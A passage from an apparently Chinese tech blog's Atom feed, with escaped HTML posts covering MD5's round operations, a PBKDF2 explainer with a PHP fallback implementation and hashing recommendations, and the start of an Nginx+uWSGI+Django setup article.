class=&quot;line&quot;&gt;d=HH(b,c,d,a,M6,23,0x04881d05)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;a=HH(a,b,c,d,M9,4,0xd9d4d039)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;b=HH(d,a,b,c,M12,11,0xe6db99e5)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;c=HH(c,d,a,b,M15,16,0x1fa27cf8)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;d=HH(b,c,d,a,M2,23,0xc4ac5665)&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;p&gt;第四轮&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;16&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;a=II(a,b,c,d,M0,6,0xf4292244)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;b=II(d,a,b,c,M7,10,0x432aff97)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;c=II(c,d,a,b,M14,15,0xab9423a7)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;d=II(b,c,d,a,M5,21,0xfc93a039)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;a=II(a,b,c,d,M12,6,0x655b59c3)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;b=II(d,a,b,c,M3,10,0x8f0ccc92)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;c=II(c,d,a,b,M10,15,0xffeff47d)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;d=II(b,c,d,a,M1,21,0x85845dd1)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;a=II(a,b,c,d,M8,6,0x6fa87e4f)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;b=II(d,a,b,c,M15,10,0xfe2ce6e0)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;c=II(c,d,a,b,M6,15,0xa3014314)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;d=II(b,c,d,a,M13,21,0x4e0811a1)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;a=II(a,b,c,d,M4,6,0xf7537e82)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;b=II(d,a,b,c,M11,10,0xbd3af235)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;c=II(c,d,a,b,M2,15,0x2ad7d2bb)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;d=II(b,c,d,a,M9,21,0xeb86d391)&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://i1.piimg.com/4851/a6463d1e440cd81c.png&quot; alt=&quot;image&quot;&gt;&lt;br&gt;每一轮的每一个操作都可以用上面的图片表示，在第一轮的第一个操作中，F 代表了 F 函数，第一个操作结束后，A 变成了第一轮中的 D，B 为第一轮的计算结果，C为第一轮中的 B，D 为第一轮中的 C，在第二轮中 A 即为 D， 另外三个也符合算法的规则。&lt;/p&gt;

&lt;ol&gt;

&lt;li&gt;每轮循环后，将A，B，C，D分别加上a，b，c，d，然后进入下一循环。&lt;/li&gt;

&lt;li&gt;最终输出长度为128bit 的ABCD，即为散列值。&lt;/li&gt;

&lt;/ol&gt;

</content>

<summary type="html">

&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;MD5即Message-Digest Algorithm 5（信息-摘要算法5），用于确保信息传输完整一致。是计算机广泛使用的杂凑算法之一（又译摘要算法、哈希算法），主流编程语言普遍已有MD5实现。将数据（如汉字）运算为另一固定长度值，是杂凑算法的基础原理，MD5的前身有MD2、MD3和MD4。&lt;/p&gt;

&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;MD5算法具有以下特点：&lt;/p&gt;

&lt;ol&gt;

&lt;li&gt;压缩性：任意长度的数据，算出的MD5值长度都是固定的。&lt;/li&gt;

&lt;li&gt;容易计算：从原数据计算出MD5值很容易。&lt;/li&gt;

&lt;li&gt;抗修改性：对原数据进行任何改动，哪怕只修改1个字节，所得到的MD5值都有很大区别。&lt;/li&gt;

&lt;li&gt;强抗碰撞：已知原数据和其MD5值，想找到一个具有相同MD5值的数据（即伪造数据）是非常困难的。&lt;/li&gt;

&lt;/ol&gt;

&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;MD5的作用是让大容量信息在用数字签名软件签署私人密钥前被”压缩”成一种保密的格式（就是把一个任意长度的字节串变换成一定长的十六进制数字串）。除了MD5以外，其中比较有名的还有sha-1、RIPEMD以及Haval等。&lt;/p&gt;

</summary>

<category term="密码学" scheme="http://32t.github.io/tags/%E5%AF%86%E7%A0%81%E5%AD%A6/"/>

<category term="MD5" scheme="http://32t.github.io/tags/MD5/"/>

<category term="算法" scheme="http://32t.github.io/tags/%E7%AE%97%E6%B3%95/"/>

</entry>

<entry>

<title>HMAC 用作用户登录</title>

<link href="http://32t.github.io/2016/07/02/HMAC-%E7%94%A8%E4%BD%9C%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95/"/>

<id>http://32t.github.io/2016/07/02/HMAC-用作用户登录/</id>

<published>2016-07-02T06:24:52.000Z</published>

<updated>2016-07-02T06:24:52.000Z</updated>

<content type="html"></content>

<summary type="html">

</summary>

</entry>

<entry>

<title>PBKDF2介绍</title>

<link href="http://32t.github.io/2016/07/02/PBKDF2%E4%BB%8B%E7%BB%8D/"/>

<id>http://32t.github.io/2016/07/02/PBKDF2介绍/</id>

<published>2016-07-02T05:52:42.000Z</published>

<updated>2016-07-02T06:01:47.000Z</updated>

<content type="html">&lt;h1 id=&quot;PBKDF2是什么&quot;&gt;&lt;a href=&quot;#PBKDF2是什么&quot; class=&quot;headerlink&quot; title=&quot;PBKDF2是什么&quot;&gt;&lt;/a&gt;PBKDF2是什么&lt;/h1&gt;&lt;p&gt;PBKDF2(Password-Based Key Derivation Function)是一个用来导出密钥的函数，常用于生成加密的密码。&lt;/p&gt;

&lt;p&gt;它的基本原理是通过一个伪随机函数（例如HMAC函数），把明文和一个盐值作为输入参数，然后重复进行运算，并最终产生密钥。&lt;/p&gt;

&lt;p&gt;如果重复的次数足够大，破解的成本就会变得很高。而盐值的添加也会增加“彩虹表”攻击的难度。&lt;/p&gt;

&lt;h1 id=&quot;破解PBKDF2生成的密码要多久&quot;&gt;&lt;a href=&quot;#破解PBKDF2生成的密码要多久&quot; class=&quot;headerlink&quot; title=&quot;破解PBKDF2生成的密码要多久&quot;&gt;&lt;/a&gt;破解PBKDF2生成的密码要多久&lt;/h1&gt;&lt;p&gt;&lt;img src=&quot;https://sfault-image.b0.upaiyun.com/200/341/2003417156-568cefd8632e8_articlex&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;

&lt;p&gt;上图是14年在一台多GPU的高端PC上进行的测试，可以看到，在4个单词（随机从Diceware列表选择）的情况下，如果每秒能猜2万个密码，则要猜出密码平均需要2890年。如果密码的长度再高点，则这个时间是天文数字了。&lt;/p&gt;

&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;

&lt;h1 id=&quot;PBKDF2函数的定义&quot;&gt;&lt;a href=&quot;#PBKDF2函数的定义&quot; class=&quot;headerlink&quot; title=&quot;PBKDF2函数的定义&quot;&gt;&lt;/a&gt;PBKDF2函数的定义&lt;/h1&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;DK = PBKDF2(PRF, Password, Salt, c, dkLen)&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;PRF是一个伪随机函数，例如HASH_HMAC函数，它会输出长度为hLen的结果。&lt;/p&gt;

&lt;ul&gt;

&lt;li&gt;Password是用来生成密钥的原文密码。&lt;/li&gt;

&lt;li&gt;Salt是一个加密用的盐值。&lt;/li&gt;

&lt;li&gt;c是进行重复计算的次数。&lt;/li&gt;

&lt;li&gt;dkLen是期望得到的密钥的长度。&lt;/li&gt;

&lt;li&gt;DK是最后产生的密钥。&lt;/li&gt;

&lt;/ul&gt;

&lt;h1 id=&quot;PBKDF2的算法流程&quot;&gt;&lt;a href=&quot;#PBKDF2的算法流程&quot; class=&quot;headerlink&quot; title=&quot;PBKDF2的算法流程&quot;&gt;&lt;/a&gt;PBKDF2的算法流程&lt;/h1&gt;&lt;p&gt;DK的值由一个以上的block拼接而成。block的数量是dkLen/hLen的值。就是说如果PRF输出的结果比期望得到的密钥长度要短，则要通过拼接多个结果以满足密钥的长度：&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;DK = T1 || T2 || ... || Tdklen/hlen&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;而每个block则通过则通过函数F得到：&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;Ti = F(Password, Salt, c, i)&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;在函数F里，PRF会进行c次的运算，然后把得到的结果进行异或运算，得到最终的值。&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;F(Password, Salt, c, i) = U1 ^ U2 ^ ... ^ Uc&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;第一次，PRF会使用Password作为key，Salt拼接上编码成大字节序的32位整型的i作为盐值进行运算。&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;U1 = PRF(Password, Salt || INT_32_BE(i))&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;而后续的c-1次则会使用上次得到的结果作为盐值。&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;U2 = PRF(Password, U1)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;...&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;Uc = PRF(Password, Uc-1)&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;函数F大致的流程图如下：&lt;br&gt;&lt;img src=&quot;https://sfault-image.b0.upaiyun.com/344/660/3446601878-568cf7d060dd8_articlex&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;

&lt;h1 id=&quot;PBKDF2算法在PHP中的使用&quot;&gt;&lt;a href=&quot;#PBKDF2算法在PHP中的使用&quot; class=&quot;headerlink&quot; title=&quot;PBKDF2算法在PHP中的使用&quot;&gt;&lt;/a&gt;PBKDF2算法在PHP中的使用&lt;/h1&gt;&lt;p&gt;从PHP5.5版本开始，PHP提供了原生的函数hash_pbkdf2实现PBKDF2算法：&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;string hash_pbkdf2 ( string $algo , string $password , string $salt , int $iterations [, int $length = 0 [, bool $raw_output = false ]] )&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;具体用法请看：&lt;a href=&quot;http://php.net/manual/en/function.hash-pbkdf2.php&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;http://php.net/manual/en/function.hash-pbkdf2.php&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;而在这个版本之前，我们可以使用其他用户写的兼容方法，例如：&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;23&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;24&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;25&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;26&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;27&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;if (!function_exists(&amp;apos;hash_pbkdf2&amp;apos;))&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; function hash_pbkdf2($algo, $password, $salt, $count, $length = 0, $raw_output = false)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; if (!in_array(strtolower($algo), hash_algos())) trigger_error(__FUNCTION__ . &amp;apos;(): Unknown hashing algorithm: &amp;apos; . $algo, E_USER_WARNING);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; if (!is_numeric($count)) trigger_error(__FUNCTION__ . &amp;apos;(): expects parameter 4 to be long, &amp;apos; . gettype($count) . &amp;apos; given&amp;apos;, E_USER_WARNING);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; if (!is_numeric($length)) trigger_error(__FUNCTION__ . &amp;apos;(): expects parameter 5 to be long, &amp;apos; . gettype($length) . &amp;apos; given&amp;apos;, E_USER_WARNING);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; if ($count &amp;lt;= 0) trigger_error(__FUNCTION__ . &amp;apos;(): Iterations must be a positive integer: &amp;apos; . $count, E_USER_WARNING);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; if ($length &amp;lt; 0) trigger_error(__FUNCTION__ . &amp;apos;(): Length must be greater than or equal to 0: &amp;apos; . $length, E_USER_WARNING);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; $output = &amp;apos;&amp;apos;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; $block_count = $length ? ceil($length / strlen(hash($algo, &amp;apos;&amp;apos;, $raw_output))) : 1;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; for ($i = 1; $i &amp;lt;= $block_count; $i++)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; $last = $xorsum = hash_hmac($algo, $salt . pack(&amp;apos;N&amp;apos;, $i), $password, true);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; for ($j = 1; $j &amp;lt; $count; $j++)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; $xorsum ^= ($last = hash_hmac($algo, $last, $password, true));&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; $output .= $xorsum;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; if (!$raw_output) $output = bin2hex($output);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; return $length ? substr($output, 0, $length) : $output;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;p&gt;又或者这个：&lt;a href=&quot;https://github.com/rchouinard/hash_pbkdf2-compat&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;https://github.com/rchouinard/hash_pbkdf2-compat&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;基于安全考虑，需要注意以下几点：&lt;/p&gt;

&lt;ul&gt;

&lt;li&gt;$algo建议选择SHA256或更安全的哈希算法。&lt;/li&gt;

&lt;li&gt;$salt至少为8字节，且要为随机数。&lt;/li&gt;

&lt;li&gt;&lt;p&gt;$count迭代次数建议至少为50000次，除非有严格的性能要求。&lt;br&gt;参考:&lt;/p&gt;

&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/PBKDF2&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;http://en.wikipedia.org/wiki/PBKDF2&lt;/a&gt;&lt;/p&gt;

&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;http://php.net/manual/en/function.hash-pbkdf2.php&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;http://php.net/manual/en/function.hash-pbkdf2.php&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;https://blog.agilebits.com/2014/03/10/crackers-report-great-news-for-1password-4/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;https://blog.agilebits.com/2014/03/10/crackers-report-great-news-for-1password-4/&lt;/a&gt;&lt;/li&gt;

&lt;/ul&gt;

</content>

<summary type="html">

&lt;h1 id=&quot;PBKDF2是什么&quot;&gt;&lt;a href=&quot;#PBKDF2是什么&quot; class=&quot;headerlink&quot; title=&quot;PBKDF2是什么&quot;&gt;&lt;/a&gt;PBKDF2是什么&lt;/h1&gt;&lt;p&gt;PBKDF2(Password-Based Key Derivation Function)是一个用来导出密钥的函数，常用于生成加密的密码。&lt;/p&gt;

&lt;p&gt;它的基本原理是通过一个伪随机函数（例如HMAC函数），把明文和一个盐值作为输入参数，然后重复进行运算，并最终产生密钥。&lt;/p&gt;

&lt;p&gt;如果重复的次数足够大，破解的成本就会变得很高。而盐值的添加也会增加“彩虹表”攻击的难度。&lt;/p&gt;

&lt;h1 id=&quot;破解PBKDF2生成的密码要多久&quot;&gt;&lt;a href=&quot;#破解PBKDF2生成的密码要多久&quot; class=&quot;headerlink&quot; title=&quot;破解PBKDF2生成的密码要多久&quot;&gt;&lt;/a&gt;破解PBKDF2生成的密码要多久&lt;/h1&gt;&lt;p&gt;&lt;img src=&quot;https://sfault-image.b0.upaiyun.com/200/341/2003417156-568cefd8632e8_articlex&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;

&lt;p&gt;上图是14年在一台多GPU的高端PC上进行的测试，可以看到，在4个单词（随机从Diceware列表选择）的情况下，如果每秒能猜2万个密码，则要猜出密码平均需要2890年。如果密码的长度再高点，则这个时间是天文数字了。&lt;/p&gt;

</summary>

<category term="PBKDF" scheme="http://32t.github.io/tags/PBKDF/"/>

<category term="PRF" scheme="http://32t.github.io/tags/PRF/"/>

</entry>

<entry>

<title>Nginx+uWSGI+Django 优化</title>

<link href="http://32t.github.io/2016/04/09/nginx_uwgsi_django_optmi/"/>

<id>http://32t.github.io/2016/04/09/nginx_uwgsi_django_optmi/</id>

<published>2016-04-09T12:50:32.000Z</published>

<updated>2016-04-09T12:46:30.000Z</updated>

<content type="html">&lt;p&gt;#&lt;/p&gt;

</content>

<summary type="html">

&lt;p&gt;#&lt;/p&gt;

</summary>

</entry>

<entry>

<title>Nginx+uWSGI+Django 配置</title>

<link href="http://32t.github.io/2016/04/09/nginx_uwgsi_django/"/>

<id>http://32t.github.io/2016/04/09/nginx_uwgsi_django/</id>

<published>2016-04-09T09:50:32.000Z</published>

<updated>2016-07-02T06:04:33.000Z</updated>

<content type="html">&lt;h1 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h1&gt;&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;我们在使用 Django 开发的时，测试过程中通常使用 Django 自带的 web 服务器，并设置 Debug=False，这样可以实时修改代码并更新程序。但是在生产环境中通常使用 Nginx+uWSGI+Django 这样的模式。&lt;/p&gt;

&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;在这种模式中，使用 Nginx 作为最前端 web 服务器，它接收所有请求并统一管理所有请求。然后 Nginx 将所有的非静态请求通过 uWSGI发送给 Django 处理，Django 处理返回结果由 uWSGI 发给 Nginx，并返回给用户。可见，uWSGI的作用就类似一个桥接器。起到桥梁的作用。&lt;/p&gt;

&lt;blockquote&gt;

&lt;p&gt;不使用Nginx，只使用uWSGI+Django也是可以实现WEB服务的。uWSGI也可以直接处理WEB请求&lt;/p&gt;

&lt;/blockquote&gt;

&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;

&lt;h1 id=&quot;uwsgi、uWSGI、WSGI的区别&quot;&gt;&lt;a href=&quot;#uwsgi、uWSGI、WSGI的区别&quot; class=&quot;headerlink&quot; title=&quot;uwsgi、uWSGI、WSGI的区别&quot;&gt;&lt;/a&gt;uwsgi、uWSGI、WSGI的区别&lt;/h1&gt;&lt;h2 id=&quot;WSGI&quot;&gt;&lt;a href=&quot;#WSGI&quot; class=&quot;headerlink&quot; title=&quot;WSGI&quot;&gt;&lt;/a&gt;WSGI&lt;/h2&gt;&lt;blockquote&gt;

&lt;p&gt;WSGI，全称 Web Server Gateway Interface，或者 Python Web Server Gateway Interface ，是为 Python 语言定义的 Web 服务器和 Web 应用程序或框架之间的一种简单而通用的接口。自从 WSGI 被开发出来以后，许多其它语言中也出现了类似接口。&lt;/p&gt;

&lt;/blockquote&gt;

&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;WSGI 的官方定义是，the Python Web Server Gateway Interface。从名字就可以看出来，这东西是一个Gateway，也就是网关。网关的作用就是在协议之间进行转换。&lt;/p&gt;

&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;WSGI 是作为 Web 服务器与 Web 应用程序或应用框架之间的一种低级别的接口，以提升可移植 Web 应用开发的共同点。WSGI 是基于现存的 CGI 标准而设计的。&lt;/p&gt;

&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;&lt;br&gt;很多框架都自带了 WSGI server ，比如 Flask，webpy，Django、CherryPy等等。当然性能都不好，自带的 web server 更多的是测试用途，发布时则使用生产环境的 WSGI server或者是联合 Nginx 做 uwsgi 。&lt;/p&gt;

&lt;blockquote&gt;

&lt;p&gt;也就是说，WSGI就像是一座桥梁，一边连着web服务器，另一边连着用户的应用。但是呢，这个桥的功能很弱，有时候还需要别的桥来帮忙才能进行处理。WSGI 的作用如图所示：&lt;/p&gt;

&lt;/blockquote&gt;

&lt;p&gt;&lt;img src=&quot;http://www.nowamagic.net/librarys/images/201309/2013_09_04_01.png&quot; alt=&quot;WSGI 的作用&quot;&gt;&lt;/p&gt;

&lt;h3 id=&quot;WSGI的作用&quot;&gt;&lt;a href=&quot;#WSGI的作用&quot; class=&quot;headerlink&quot; title=&quot;WSGI的作用&quot;&gt;&lt;/a&gt;WSGI的作用&lt;/h3&gt;&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;&lt;br&gt;WSGI有两方：“服务器”或“网关”一方，以及“应用程序”或“应用框架”一方。服务方调用应用方，提供环境信息，以及一个回调函数（提供给应用程序用来将消息头传递给服务器方），并接收Web内容作为返回值。&lt;/p&gt;

